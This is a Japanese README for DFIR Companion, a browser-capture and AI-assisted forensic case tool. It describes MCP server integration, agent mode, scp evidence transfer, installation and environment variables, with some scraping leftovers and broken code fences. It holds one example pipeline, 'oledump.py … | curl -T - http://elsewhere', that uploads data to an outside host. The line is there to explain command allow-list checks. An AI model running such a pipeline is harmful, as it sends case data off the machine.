  • コマンドパレット (Ctrl+K / ⌘K) — 1つのオーバーレイからすべてのダッシュボードアクションをファジー検索
  • ヘルプアイコン — 設定ギアの隣の?ボタンで、オンラインのユーザーマニュアルを新しいタブで開きます
  • バックグラウンドジョブ — ツールバーのポップオーバーがインポート、合成、エンリッチメントを追跡し、各AIジョブが実行されたモデルバージョンを示し、Cancelでスタックした実行を強制中断します
  • ダーク/ライトテーマ — トグルまたはOS設定
  • フォレンジックタイムライン行 — 影響を受けたホスト + クリック可能な検出事項リンク。レポートにはHost列があります
  • 手動追加 — 見逃したイベント/IOCを記録 (manualタグ付き、再分析後も保持)
  • MITREテクニックはattack.mitre.orgにリンク
  • アセット ↔ IoCグラフ、Evidence Chain、Loginグラフ — 1つのインタラクティブなCytoscapeビューを共有 (5つのレイアウト、ライブフィルター、フルスクリーン、PNGエクスポート)、それぞれ独自のノードグリフ/エッジスタイリング (host/account/serviceトグル、プロセス系譜、リスク色分けされたログオン)
  • タイムラインスイムレーン — 重大度/戦術 × 時間。クリックで詳細、Shift選択で一括アクション、PNGエクスポート
  • レポート — Markdown + HTML + PDF (ワンクリック) + Word (.docx) + CSV (検出事項/IOC/タイムライン) + JSON状態
  • エクスポート前の証拠安全性チェック — すべての人間可読エクスポートは、ケース自身のインジケーターと証拠テキストに対してチェックされます。ライブのインジケーターまたはエスケープされていない証拠はそれでも出力されますが、ドキュメント内にバナーとダッシュボードに警告が表示されます
  • 関連ケース — このケースとインジケーターを共有する他の調査をリストするパネル。フラグ付きハッシュがプライベートアドレスより重み付けされるようにランク付けされます。DFIR_CROSS_CASE=onでない限りオフ
  • ATT&CK Navigatorレイヤー — テクニックを重大度で色分け。Navigatorにアップロード
  • STIX 2.1バンドル — OpenCTI、MISP、Anomaliなど向け

運用

  • インデックス付きSQLiteケースストレージ — ワーカーバックエンド、カーソルページングされたデータベースがフラットJSONケース状態を置き換え
  • 設定のEssential / Allビュー — すべての約257フィールドではなく、厳選された43コントロールビューで開きます。ブラウザごとに記憶
  • ヘルス / 診断 — 設定 → 診断のワンページオペレータービュー: ディスク使用量、ケース数、キャプチャ/合成キュー、編集済みAI設定 + ライブのTest AI connectivity、インポーター試行 (24時間/7日) + 最近の失敗。オンデマンド計算のケースサイズ。キー不要のクリップボードへのコピー
  • ケース統計パネル — 診断内のケースごとの合計、ソース内訳、インポート速度
  • ケースごとのAIコスト追跡 — 設定 → 診断に「AI cost — this case」カードを表示: 呼び出し回数、ドルコスト、Vision/Synthesis/Other別およびモデル別のトークン数。プロバイダーの実際の呼び出しごとのコスト/トークン数から読み取ります (プロバイダーが報告しない場合に偽の$0.00になることはありません)
  • 設定可能なイベント取り込み上限 (DFIR_MAX_EVENTS) — デフォルトのインポートあたり2000イベントの安全上限を上書き
  • プロンプト回帰 / 評価ハーネス — AI抽出/合成品質のためのCIセーフかつ実プロバイダーによるゴールデン出力テスト
  • ログ — コンソール + グローバルセッションログ + ケースごとの監査証跡。DFIR_LOG_LEVELライブトグル。debugはAI/キャプチャ/OCR/匿名化をトレース
  • ブラウザ拡張機能 — Chrome Web StoreからChrome/Comet、または任意のリリースからFirefox 140+。ローカルサーバーが必要
  • ポータブルWindows EXE — 解凍 + ダブルクリック、Node不要
  • Chocolateyパッケージ — choco install dfir-companion。ポータブルビルドをダウンロード + 検証 + キャプチャ拡張機能をバンドル、データは%LOCALAPPDATA%に
  • Docker / Compose — docker compose up。証拠はホストボリューム上、AIバックエンドはバンドルなし

MCPサーバーの使用

Companionは、あなたが実行するMCPサーバー — SIFTワークステーション、REMnuxボックス、Windowsトリアージベースラインサービス — にケース証拠を向けることができ、ツールが揃ったマシン上で証拠が分析されます。

それらに到達するのはClaude Code経由のみです。 CompanionはMCPクライアントではありません: サーバーURLもベアラートークンも保持せず、独自のnpxやuvxを起動しません。Claude Codeはすでにあなたのサーバーで設定され、その認証情報をすでに保持しているため、Claude Codeが通信を行い、Companionはそれに依頼します。

前提条件

この機能全体は、以下の場合のみ動作します:

  1. Claude CodeがCompanionを実行しているマシンにインストールされ認証されている — あなたのラップトップではなく、Companionホスト上で。claudeがそのPATHにない場合はDFIR_AI_CLAUDE_CODE_BINを設定してください。
  2. あなたのMCPサーバーがClaude Codeで設定されている (claude mcp add …、またはその設定ファイル)、そしてclaude mcp listでそれらが接続済みとして表示される。

フォールバックはありません。Claude Codeを併用せずにDocker、AppImage、またはポータブルWindowsビルドでCompanionを実行する場合、MCPルートはその旨を伝え、それ以外は何もしません。

依存する前に知っておく価値のある2つの結果。すべてのMCP呼び出しはモデルを経由するため、トークンを消費し、直接のJSON-RPCリクエストが行うようなビット単位で決定論的な呼び出しではありません — プロンプトはそれをトランスポートにします (1つのツール、正確な引数、逐語的な出力) が、それでもモデルが中間にいます。そしてサーバーは生成されたものではなくClaude Code自身の設定から来るため、Claude Codeは使用されている1つだけでなく、設定されているすべてのサーバーを毎回の実行で起動します。許可リストは呼び出し可能なものを制限するのであって、起動されるものを制限するのではありません。

設定 → ツールで、Refresh from Claude Codeを押してそのサーバーリストを読み込み、1つを許可して何ができるかを指定します。入力するものはポリシー以外に何もありません — サーバー名はClaude Code自体から来るため、タイプミスで何にもサイレントに一致しないエントリが残ることはありません。

ケース証拠に対してツールを実行する

POST /cases/<id>/mcp/<serverId>/runに{ tool, args, targetPath }を付けます。ツールが証拠パスを期待する場所に<target>を置いてください — 配信が実行された後、分析ホスト上のパスに置き換えられるため、あなたが書いた引数がツールが受け取る引数になります:```json { "tool": "run_command", "args": { "command": ["vol.py", "-f", "", "pslist"] }, "targetPath": "imports/memory.raw" }

root@kitploit:~
`targetPath` はケースディレクトリ内で解決され、その外側にあるものは拒否されます。ブラウザが保持していてサーバー側にパスが存在しないサンプルの場合、代わりに `POST /cases/<id>/mcp/<serverId>/run-upload` が `{ filename, dataBase64 }` を受け取り、まずケース内にバイト列をステージングします。

どちらもブロックせずに **ジョブ ID とともに 202** を返します。実際の Volatility の実行は、まともなリクエストタイムアウトを超えて生き続けるため、実行は進捗、キャンセルボタン、WebSocket の `job_changed` ブロードキャストを備えたバックグラウンドジョブとなります。結果は他のすべてのツールと同じインポートチェーンを通ってケースに流れ込みます — タイムラインイベント、ファインディング、IOC、そしてアンドゥチェックポイント付きです — そのため結果の読み取りに関して通常のインポートと異なる点はありません。構造化出力は一致するインポーターにルーティングされ、非構造化の散文は拒否されるのではなく汎用ログパスにフォールスルーします。

自らの失敗を報告するツールは、取り込まれるのではなくジョブを失敗させます。エラーメッセージは診断であってアーティファクトではなく、それをタイムラインに記録すると証拠のように見えてしまうからです。

### インポート前のプレビュー

**デフォルトで有効**であり、有効のままにしておく価値があります。MCP サーバーは証拠と同じくらい気軽に参照データを返します — SIFT にどんなツールがあるか尋ねれば、Volatility のテーブルと構造的に同一の JSON インベントリが返ってきます。タイムスタンプのないオブジェクトの配列です。どの検出器もそれらを区別できないため、インポーターは本来の役割を果たし、その中のすべてのパスをファイルインジケーターとして抽出します。1 つのケイパビリティ一覧が、ケースが決して望まなかった数十個の IOC になってしまいます。

プレビューを有効にすると、実行は出力を取得して停止します。バイト列、サイズ、そして*インポートされるであろう*種類を確認して選択できます。承認すると**すでに取得済みのバイト列を正確に**取り込みます — ツールを再実行することはないため、20 分の Volatility 実行のコストは 1 回だけで済み、副作用のあるツールも 1 回だけ実行されます。破棄すると出力は捨てられ、ケースはそのままです。

API から使用するには実行時に `preview: true` を送信し、その後 `/cases/<id>/mcp/preview/<jobId>` に対して `GET`、`POST …/import`、または `DELETE` を実行します。

ここにあるものは何も、何を実行するかについての判断の代わりにはならず、プレビューなしでインポートすることは危険ではありません — すべての MCP インポートはアンドゥチェックポイントをプッシュするため、ノイズだったと判明した実行もワンクリックでロールバックできます。

### サーバーの使用が付与するもの

**デフォルトでは、サーバーが提供するすべて。** これは意図的なものです。Claude Code はすでに、設定した任意のサーバー上の任意のツールを呼び出せるため、ここでそれらを再列挙させることは、あなた自身の日常的な使用よりも厳しくなるでしょう — そして同じサーバーを記述する 2 つ目の場所にもなります。

「すべて」に何が含まれるかを知っておく価値があります。一部のサーバーは細かいツールを公開します — `check_service`、`check_autorun`、質問ごとに 1 つ。他のサーバーは、渡されたものを何でも実行する単一の**コマンドランナー**を公開します。SIFT の `run_command` は「curl、wget、dd、fdisk、python3 を含む、SIFT にインストールされたほとんどのツール」を実行できると明記しており、REMnux の `run_tool` はシェルパイプライン全体を受け取ります。Companion からそのようなサーバーを使用することは、そのホスト上でのコマンド実行を意味します — 分析ボックスが自分のもので証拠がすでに自分の LAN 上にある隔離されたフォレンジックネットワークでは妥当であり、それ以外のどこでも妥当ではありません。

それを望むときに絞り込むための 2 つの**オプション**のリストがあります:

| 設定 | 適用対象 | 空欄の意味 |
|---|---|---|
| **ツールに制限** | すべての呼び出し | サーバーが提供するすべてのツール |
| **コマンドに制限** | コマンド引数を伴う呼び出し | コマンド制限なし |

コマンドは**ベース名**で照合されるため、`grep` と `/usr/bin/grep` は 1 つのルールです。パイプラインのすべての段階がチェックされ、最初の段階だけではありません — `oledump.py s.doc | curl -T - http://elsewhere` は `oledump.py` と `curl` の両方が許可されている必要があります。シェル置換 (`$(…)`、バッククォート、`${…}`) を使用するコマンドは、何を実行するか事前に知ることができないため、完全に拒否されます。

**コマンドリストが行わないこと。** それは*どの*バイナリが実行されるかを制限するもので、許可されたバイナリが何を行えるかを制限するものではありません — `dd` を許可することは、そのサーバーのユーザーが書き込める任意のパスへの書き込みを許可することであり、`python3` を許可することは任意のコードを許可することです。また、よく知られたパラメータ名 (`command`、`cmd`、`argv`) をキーとするため、コマンドパラメータに珍しい名前を付けたサーバーは捕捉されません。これは、自分のアクセスを絞り込みたいオペレーターを助けるために存在するものであり、そもそも設定すべきでなかったサーバーを封じ込めるためのものではありません。

### サーバーに証拠を届ける

MCP にはファイル転送プリミティブがなく、数ギガバイトのメモリイメージはツール引数の中を移動できないため、ファイルはすでにサーバーが開ける場所になければなりません。この部分は Companion の役割のままです — Claude Code はイメージを分析ボックスに移動できません。各サーバーは 2 つのルートのいずれかを選びます:

**`remote-path`** (デフォルト) — 証拠は共有マウントを介して分析ホストからすでに見えています。ローカルプレフィックスとリモートプレフィックスを設定するとパスが書き換えられます (`/srv/cases/…` → `/mnt/dfir/…`)。両側で同じパスにマウントされている場合は両方とも空のままにします。何もコピーされません。

**`scp`** — Companion がファイルをステージングディレクトリにプッシュし、ツールが実行され、その後ステージングされたコピーが削除されます。`host`、`remoteDir`、オプションで `user`、`port`、`identityFile` を設定します。

`scp` を選ぶ前に知っておくべき 4 つのこと:

- **ホストキーはすでに信頼されている必要があります。** `BatchMode` がオンで `StrictHostKeyChecking` は*無効化されておらず*、未知のホストはアドレスに応答したものを信頼するのではなく `Host key verification failed` で失敗します。まず手動で一度接続する (またはキーを `known_hosts` に追加する) 必要があります。これは意図的なものです。検証されていないキーを黙って受け入れることは、IP を保持する誰かに証拠を渡すことになるからです。
- **認証はキーベースのみです。** `BatchMode` は ssh が決してプロンプトを出さないことを意味するため、パスワードのみのホストは機能しません。`identityFile` をパスフレーズなしのキーに向けるか、サーバープロセスが到達できるエージェントにロードしてください。
- **進捗も再開もありません。** 16 GB のコピーは完了するか失敗するまで不透明であり、接続が切れると最初からやり直しです。転送はキャンセル可能で、ツール呼び出しのタイムアウトとは別に、独自の 1 時間のタイムアウトがあります。
- **ホスト、ユーザー、リモートディレクトリは保守的な文字セットに制限されます** (英字、数字、ドット、ダッシュ、アンダースコア、ディレクトリ用の `/`)。`user@host` はクォートされずに ssh に到達するため、シェルの意味を持つものは転送時ではなく保存時に拒否されます。ステージングされたファイル名は証拠名から派生し、同じ方法でサニタイズされます。

どちらのルートも、宛先を記録する**チェーンオブカストディの `transferred` イベント**を記録するため、ケースファイルは証拠がこのマシンを離れたこと、いつ、どこへを表示します。失敗した転送は何も記録しません — チェーンは起こらなかったコピーを決して主張しません。

### 平易な英語による MCP 調査

単一のツール呼び出しでは糸をたどれません。「このダンプを調査して」はループを求めます — pslist を実行し、何かに気づき、malfind にピボットする — そしてそれがエージェントモードのすることです: 許可したサーバーに対して Claude Code を駆動させ、それが報告するものをマージします。これがダッシュボードの主要な MCP ワークフローです: 目標を平易な英語で書き、証拠を選択またはブラウズし、MCP アプリを選び、**Investigate** を押します。ツール名と JSON 引数は、高度な手動呼び出しセクションでのみ利用可能です。

`{ prompt, servers?, targetPath?, preview? }` を伴う `POST /cases/<id>/mcp/agent`、または `{ prompt, servers, filename, dataBase64, preview? }` を伴う `POST /cases/<id>/mcp/agent-upload`。

**サーバーを許可する前にこれを読んでください。** 手動実行では Companion が各呼び出しを制御するため、すべての呼び出しがツール*と*コマンドの両方の許可リストを通過します。エージェントモードではそうではありません: `claude` がサーバーと直接対話します。生き残るのはツール許可リストのみで、`--allowed-tools` としてです。**コマンド許可リストは強制できません。** したがって、エージェントにコマンドランナーツールを使用させることは、自律ループにそのホスト上で独自のコマンドラインを選択する能力を与えることになります。

Companion で MCP サーバーを許可し有効化することが、このモードの許可境界です。サーバーのツール制限は依然として適用されます。コマンド制限は自律ループを制約できません; それは高度な手動呼び出しにのみ適用されます。

このモードが依然として保証するもの: 明示的なツール制限はツールごとに渡されます; 空欄の制限はそのサーバーが公開するすべてのツールを意図的に許可します。プロジェクト/ローカル設定、`CLAUDE.md` ファイル、フックは除外され、実行はターン数制限されます。Claude Code のユーザー設定は、そこに MCP サーバー接続が存在するため、有効なままです。

エージェントの返信はマージされる前にスキーマ検証され、出所の主張が取り除かれます — それが見たものはすべてツール出力から来ており、信頼されていません。ケースサマリーを求められることは決してないため、実行はあなたの結論を書き換えることなくファインディング、IOC、イベントを追加します。プレビューはここでも機能し、より重要です: 自律ループは何を報告するかを自ら決定するからです。

調査は 40 ターンに制限されます。Claude Code がツールを使用しながらその予算を消費した場合、Companion はすべてのツールを無効にして同じセッションを一度再開し、すでに収集された証拠のみから報告するよう求めます。これは、最終的な JSON が次のターンだったというだけで完了した調査を失うことなく、安全境界を維持します。

### 認証情報

ここで設定するものは何もありません。ベアラートークン、ヘッダー、トランスポートはすべて Claude Code 自身の MCP 設定にあり、それがそれらを保持する唯一の場所です。Companion はサーバーの*名前*、許可リスト、配信ブロックを保存するだけです — 単独で何かに接続できるものは何もありません。

探しに行く場合の 1 つの注意点: `claude mcp list` は各サーバーの完全なコマンドラインを出力し、`mcp-remote` エントリの場合はベアラートークンが平文で含まれます。Companion はその出力から名前とヘルス判定のみを解析し、残りを保存、ログ記録、レンダリングすることは決してありません — ただし、そのコマンドを自分で実行する場所には注意してください。

## リポジトリレイアウト```
52.43-DFIR-Companion/
├── companion/         Node/TS localhost server (the core). See companion/README.md.
├── extension/         MV3 capture extension (Chrome/Comet + Firefox). See extension/README.md.
├── public/
│   └── dashboard.html Live dashboard, served by the companion at /dashboard.
├── docs/
│   └── superpowers/plans/   The original 4 implementation plans.
├── Dockerfile         Single-image build (server + dashboard + add-on); no Ollama/LiteLLM.
├── docker-compose.yml Localhost-only Compose: ./cases volume, add-on → ./addon.
└── cases/             Evidence + state output (gitignored). Location set by DFIR_CASES_ROOT.

各部分の連携```

Browser (Comet/Chrome) Localhost companion (127.0.0.1:4773) ┌─────────────────────┐ POST ┌───────────────────────────────────────┐ │ DFIR Capture (MV3) │ /captures ──▶ │ ingest → evidence (screenshots+jsonl) │ │ timer + events │ │ │ │ └─────────────────────┘ │ ▼ per-window AI extraction (cheap) │ │ forensic timeline ──▶ synthesis (strong)│ Dashboard / Reports ◀── WS /ws, │ findings, IOCs, MITRE, attacker path, │ GET /cases/:id/state │ key questions, threads │ └─────────────────────┘ └───────────────────────────────────────┘

root@kitploit:~
**2段階分析:** 安価なビジョンモデルが各スクリーンショットをフォレンジックタイムラインに読み込み、より強力なモデルが単一の全体的な統合呼び出し(findings、MITRE、攻撃者パス、質問)を行います。両方とも `.env` で設定します — `companion/README.md` を参照してください。

## クイックスタート

> **前提条件:** [Node.js](https://nodejs.org/) **22.19 以降**(`npm` が同梱されています)。
> `node --version` で確認してください。以下はすべて `npm` を使用するため、他のランタイムは不要です。
> インデックス化されたケースストレージは組み込みの `node:sqlite` モジュールを使用するため、古い Node リリースではケースを開けません。ポータブルビルドには互換性のあるランタイムが同梱されています。

1. **Companion**(サーバー):   ```
   git clone https://github.com/hasamba/DFIR-Companion.git
   cd DFIR-Companion/companion
   npm install
   cp .env.example .env      # set DFIR_VISION_PROVIDER / MODEL / KEY (or leave AI off)
   npm run dev               # serves http://127.0.0.1:4773  (dashboard at /dashboard)
  1. 拡張機能(キャプチャ):

    最も簡単な方法: Chrome Web Store から直接インストールします。 Firefox 140+ では、最新リリース から dfir-capture-extension-firefox-*.zip をダウンロードして解凍します。

    またはソースからビルドします: ``` cd DFIR-Companion/extension npm install npm run build # Chrome/Comet → load extension/dist as an unpacked extension npm run build:firefox # Firefox 140+ → load extension/dist-firefox/manifest.json

    root@kitploit:~

Firefox では、about:debugging#/runtime/this-firefox から読み込み → 一時アドオンを読み込む… を選び、manifest.json ファイルを選択します(Chrome はフォルダを要求しますが、Firefox は要求しません)。Firefox は再起動時に一時アドオンを破棄するため、セッションごとにこの操作を繰り返す必要があります — まだ AMO での公開がないため、リリース zip は署名されておらず、永続的にインストールすることはできません。

一時読み込みでは確認が求められないため、何が収集されるのか。 Firefox がデータ収集に関する通知を表示するのは、通常インストールされた署名済みアドオンの場合のみです。about:debugging はすべてを無言で許可します。この拡張機能は閲覧アクティビティ(キャプチャにはタブの URL とタイトルが含まれます)とウェブサイトのコンテンツ(スクリーンショット、および Push がスクレイピングする行)を宣言しています。拡張機能はこれらを、設定したコンパニオンアドレスにのみ送信し、それ以外のどこにも送信しません。その後コンパニオンが転送する内容 — ビジョンモデルがスクリーンショットを読み取り、AI 合成が行を読み取り、エンリッチメントがレピュテーションサービスに問い合わせる — は、コンパニオン自身の設定によります。詳細は extension/PRIVACY.md を参照してください。

ポップアップは既存のケースにアタッチするだけです — ケースの作成はダッシュボードで行います。

  1. http://127.0.0.1:4773/dashboard を開き、+ New case をクリックしてケースを作成します(自動的に接続されます)。次に拡張機能のポップアップで、Case ドロップダウンからそのケースを選択し(まだ一覧にない場合は Refresh cases)、Start をクリックします。証拠を閲覧すると — ダッシュボードがリアルタイムで更新されます。

既存のチェックアウトを更新する場合 git pull の後、companion/ と extension/ の両方で npm install を再実行してください — 新機能で依存関係が追加されることがあります(例: スクリーンショット OCR の墨消しで tesseract.js が追加されました)。その後 npm run dev を再起動してください(サーバーコードは起動時に一度だけ読み込まれます)。

完全な設定、HTTP エンドポイント、ケースフォルダのレイアウト、および分析モデルについては companion/README.md に記載されています。

Docker / Docker Compose

全体 — コンパニオンサーバー + ダッシュボード + ブラウザアドオン — を 1 つのコンテナで実行します。Ollama や LiteLLM は同梱されていません。AI を利用するには、DFIR_AI_* を任意の OpenAI 互換エンドポイント(自分でホストするモデル、リモートプロバイダー、または別途実行する Ollama/LiteLLM)に向けてください。AI を未設定のままでも、コンテナは完全なキャプチャとすべての決定論的インポーターを実行します。

前提条件: Compose プラグイン付きの Docker(docker compose version)。

設計上 localhost のみ: コンテナは内部的に 0.0.0.0 にバインドしますが、Compose はホスト上の 127.0.0.1 にポートを公開します — そのためダッシュボードがネットワーク上に公開されることはありません。

  1. 起動する(ソースからビルド): ``` git clone https://github.com/hasamba/DFIR-Companion.git cd DFIR-Companion docker compose up -d --build # → http://127.0.0.1:4773/dashboard
    root@kitploit:~

または、ビルドする代わりに GHCR からビルド済みイメージを取得します: ``` docker compose pull && docker compose up -d

image: ghcr.io/hasamba/dfir-companion:latest

root@kitploit:~
2. **アドオンをロードする**(キャプチャ)。コンテナは初回起動時に、ビルド済みで展開された拡張機能を
`./addon` に書き出します。Chrome/Comet で `chrome://extensions` を開き、**デベロッパー
モード**を有効にして、**パッケージ化されていない拡張機能を読み込む**をクリックし、**`./addon/dist`** を選択します(パッケージ化された
`dfir-companion-extension.zip` もそこに出力されます)。

3. `http://127.0.0.1:4773/dashboard` を開き、**+ New case** をクリックして、拡張機能のポップアップでそのケースを選択し、**Start** をクリックします。

**データと設定:**
- 証拠とケースの状態はホスト上の **`./cases`**(マウントされたボリューム)に永続化されます — 再起動やイメージの再ビルド後も保持されます。
- [`docker-compose.yml`](https://github.com/hasamba/dfir-companion/blob/master/docker-compose.yml) の `environment:` ブロックで設定するか、`env_file: - .env` のコメントを解除して `.env` ファイルを使用します(`companion/.env.example` をコピーしてください)。
- ホスト上で実行されている AI エンドポイントに接続するには、`http://host.docker.internal:<port>/v1` を使用します(Docker Desktop のない Linux では、compose ファイルの `extra_hosts` 行もコメント解除してください)。

## Windows (Chocolatey)

[Chocolatey](https://chocolatey.org/) を使用してポータブル Windows ビルドをインストールします — Node.js は
不要です。管理者権限のシェルで:```
choco install dfir-companion
dfir-companion            # → http://127.0.0.1:4773/dashboard

choco upgrade dfir-companion で次のリリースを取得します。choco uninstall dfir-companion はバイナリと PATH シムを削除します。インストーラーは Releases ページ で公開されている 同じポータブル zip をダウンロードし、その SHA256 を検証します。

データはユーザープロファイルに保存されます。管理者所有のインストールディレクトリではありません。ケースは %LOCALAPPDATA%\DFIR-Companion\cases に、設定は %LOCALAPPDATA%\DFIR-Companion\.env にあります(サンプルからシードされます。AI / 脅威インテリジェンスのキー用に編集してください — すべて任意です)。アンインストールしても そのフォルダは保持されるため、証拠が削除されることはありません。ファイアウォールルールは作成されません — サーバーは 127.0.0.1 のみにバインドします。

キャプチャ拡張機能はオフラインインストール用に %LOCALAPPDATA%\DFIR-Companion\extension に ディスク上へバンドルされています(エアギャップのワークステーションで便利です)— chrome://extensions → デベロッパーモード → パッケージ化されていない拡張機能を読み込む → そのフォルダ、で読み込むか、公開後に Chrome ウェブストアからインストールしてください。ブラウザに自動インストールされることはありません。

まだ Chocolatey コミュニティリポジトリにはありませんか? そこに公開されるまでは、リリースから dfir-companion.<version>.nupkg を取得し、そのフォルダで choco install dfir-companion --source . を実行してください。パッケージングは packaging/chocolatey/ にあります。

Linux (AppImage)

Releases ページ から dfir-companion-<version>-x86_64.AppImage を ダウンロードし、次を実行します:``` chmod +x dfir-companion--x86_64.AppImage ./dfir-companion--x86_64.AppImage # → http://127.0.0.1:4773/dashboard

root@kitploit:~
Nodeは不要 — サーバー、ダッシュボード、イメージツールを同梱しています。**データは実行したディレクトリに保存されます:** `cases/`(証拠 + 状態)と任意の `.env`(AI / 脅威インテリジェンス設定)が、AppImageを起動した場所の隣に作成/読み込まれます。`DFIR_CASES_ROOT`(絶対パス)と `DFIR_ENV_FILE`(設定ファイルへの絶対パス)で上書きできます。

### データの保存場所

| インストール                | ケース + 状態                         | 設定 (`.env`)                       |
| ---------------------- | ------------------------------------- | ------------------------------------- |
| ソース / `npm run dev` | `companion/cases/`                    | `companion/.env`                      |
| ポータブル Windows EXE   | EXEの隣の `cases/`              | EXEの隣の `.env`                |
| Windows (Chocolatey)   | `%LOCALAPPDATA%\DFIR-Companion\cases` | `%LOCALAPPDATA%\DFIR-Companion\.env`  |
| Linux AppImage         | `$PWD/cases`(起動ディレクトリ)             | `$PWD/.env`(または `DFIR_ENV_FILE`)      |
| Docker / Compose       | マウントされた `./cases` ボリューム              | `environment:` / `--env-file`         |

すべての場所は `DFIR_CASES_ROOT`(絶対パス)で上書きできます。

## 環境変数 (`companion/.env`)

コンパニオンの動作はすべて環境変数(`companion/.env` またはシェル)で設定します。開始するには `companion/.env.example` をコピーしてください — すべての変数にインラインコメントが付いています。

### コア

| 変数 | デフォルト | 意味 |
|---|---|---|
| `DFIR_CASES_ROOT` | `./cases` | ケースフォルダの場所。相対パスは `companion/` を基準に解決されます |
| `DFIR_PORT` | `4773` | サーバーポート(拡張機能とダッシュボードと一致させる必要があります) |
| `DFIR_HOST` | `127.0.0.1` | バインドするインターフェース。認証なしの非ループバックバインドは拒否されます。Docker Composeはホストループバック限定の例外を文書化しています |
| `DFIR_MAX_BODY_MB` | `256` | 最大アップロードサイズ(MB)。大きなSIEM/EDRエクスポートがHTTP 413で失敗する場合は引き上げてください |
| `DFIR_ALLOWED_ORIGINS` | _(なし)_ | APIを呼び出せる追加のブラウザオリジン(カンマ区切り)。キャプチャ拡張機能、ループバック、およびコンパニオン自身が配信したオリジンは常に信頼されるため、localhost/LAN/Dockerには設定不要です。それ以外のすべてのWebオリジンは拒否されます。`Origin` を送信しない呼び出し元(curl、スクリプト、Velociraptor)は影響を受けません。ダッシュボードが**ホスト名**から配信される場合 — リバースプロキシやホスト型デプロイ — に必要です |
| `DFIR_ALLOWED_HOSTS` | _(なし)_ | このコンパニオンが応答する追加のホスト名(カンマ区切り)。ループバックとベアIPアドレスは常に受け入れられるため、localhost、Docker、および `http://192.168.1.50:4773` でLAN経由でダッシュボードに到達する場合には設定不要です。リストにない**名前**は拒否されます — これがDNSリバインディング(悪意のあるサイトが自身のドメインをあなたのマシンに向ける)を防ぎます。リバースプロキシが `DFIR_ALLOWED_ORIGINS` に入れたオリジンと異なる `Host` を転送する場合に設定してください |
| `DFIR_ALLOWED_HOST_SUFFIXES` | _(なし)_ | 上記と同様ですが、ドメインサフィックスでマッチします(例: `.lab.example.com`)。セッションごとに新しいホスト名を発行するプラットフォーム向けです。マッチングはラベル境界で行われるため、`.acme.com` が `evilacme.com` にマッチすることはありません |
| `DFIR_LOG_LEVEL` | `info` | ログの詳細度(`debug`/`info`/`warn`/`error`)。コンソール + `logs/session-<time>.log`(グローバル)+ `cases/<id>/logs/session-<time>.log`(ケース単位)に出力されます。`debug` はAI呼び出し、キャプチャ、OCR、匿名化、エンリッチメントをトレースします。設定 → ログの詳細度からライブで変更できます(再起動不要) |
| `DFIR_LOG_DIR` | ケースルート隣の `logs/` | **グローバル**セッションログのフォルダ。相対パスは `companion/` を基準にします。ケース単位のログは常にケースフォルダ内に留まります |

### 認証(オプションのチームデプロイ)

`DFIR_AUTH_MODE=team` はOIDC/ローカルサインイン、セキュアなブラウザセッション、ケース単位のロール、およびケーススコープのサービスIDを有効にします。認証とIDプロバイダーの設定はデプロイのセキュリティ制御です: `.env` またはシークレットストアで設定し、再起動してください。完全な変数リスト、HTTPS設定、初回管理者ブートストラップ、ロールマトリックス、拡張機能トークン、および単一ライタープロセスモデルについては、[チームアカウントとケースロールガイド](https://github.com/hasamba/dfir-companion/blob/master/mkdocs-docs/reference/team-authentication.md)を参照してください。

### AI — 抽出(分析を有効にするために必須)

| 変数 | デフォルト | 意味 |
|---|---|---|
| `DFIR_VISION_PROVIDER` | — | `openai` \| `openrouter` \| `ollama` \| `litellm` \| `gemini` \| `anthropic` \| `claude-code`。未設定 = キャプチャのみ |
| `DFIR_VISION_MODEL` | — | モデルID(例: `gpt-4o-mini`、`gemini-2.5-flash`)。スクリーンショット抽出には**ビジョンをサポート**している必要があります |
| `DFIR_VISION_KEY` | — | プロバイダーのAPIキー。認証なしのローカルプロキシ、または `claude-code`(代わりにログイン済みの `claude` CLIサブスクリプションを使用)の場合は空欄にします |
| `DFIR_AI_CLAUDE_CODE_BIN` | PATH上の `claude` | `claude-code` のみ: `claude` バイナリがPATH上にない場合の絶対パス |
| `DFIR_VISION_BASE_URL` | プロバイダーのデフォルト | ベースURLの上書き — ローカルLiteLLMプロキシまたは任意のOpenAI互換エンドポイント用 |
| `DFIR_AI_TIMEOUT_MS` | `900000` | リクエストごとのタイムアウト(ms)。CLIプロバイダー(claude-code、codex)は大きなタイムラインでは数分かかります |
| `DFIR_AI_MAX_TOKENS` | `16000` | 最大補完トークン数。低すぎると合成が切り詰められ、残高不足時にOpenRouterの402を防ぎます |
| `DFIR_AI_SYNTH_MAX_EVENTS` | `600` | 合成に送信されるフォレンジックイベントの上限。Critical/Highは常に無条件でファインディングを取得します |
| `DFIR_REPORT_SYNTH_COVERAGE` | _(オフ)_ | truthyに設定すると、レポートに **§3.4 合成カバレッジ** の脚注を追加します — 「ウィンドウ内イベントM件中N件を考慮(K件省略: 予算/フィルタリング)」、トークン推定値、およびセーフティネットのバックフィルが回復した高重大度の省略件数。ダッシュボードのsynth-metaカードは常にこの行を表示します。このフラグはエクスポートされたレポートにも表示されるかどうかだけを制御します |
| `DFIR_REPORT_MODEL_PERF` | _(オフ)_ | truthyに設定すると、レポートに **§3.5 モデルパフォーマンス** の脚注を追加します — 合成モデル、ファインディング数とセーフティネットのバックフィルが追加しなければならなかった数、パース再試行回数、および(セカンドオピニオンが実行された場合)`DFIR_AI_SECOND_OPINION_MODEL` が `DFIR_AI_MODEL`/`DFIR_AI_SYNTH_MODEL` と一致した頻度。ダッシュボードのsynth-metaカードは常にこれを表示します。このフラグはエクスポートされたレポートにも表示されるかどうかだけを制御します |
| `DFIR_AI_CONTEXT_TOKENS` | `128000` | モデルのコンテキストウィンドウ。Claude/Gemini(200k/1M)では引き上げて呼び出しごとにより多くを送信できます |
| `DFIR_VISION_IMAGE_DETAIL` | `high` | `high` \| `low` \| `auto`(OpenAI/OpenRouter)。`high` は小さなテキストのOCRのためにフル解像度でタイル化します |
| `DFIR_AI_AUTO_SYNTHESIZE` | `on` | キャプチャ中に再合成: `on` \| `off` |
| `DFIR_AI_AUTO_SYNTHESIZE_MS` | `8000` | 自動合成が発火する前のデバウンスウィンドウ(ms) |
| `DFIR_FLUSH_INTERVAL_MS` | `300000` | 残ったキャプチャバッファのセーフティネットフラッシュ(ms)。`0` で無効化 |
| `DFIR_ANONYMIZE` | `on` | AI呼び出しの前に被害者のIP/ホスト/ユーザー/パスをトークン化: `on` \| `off` |
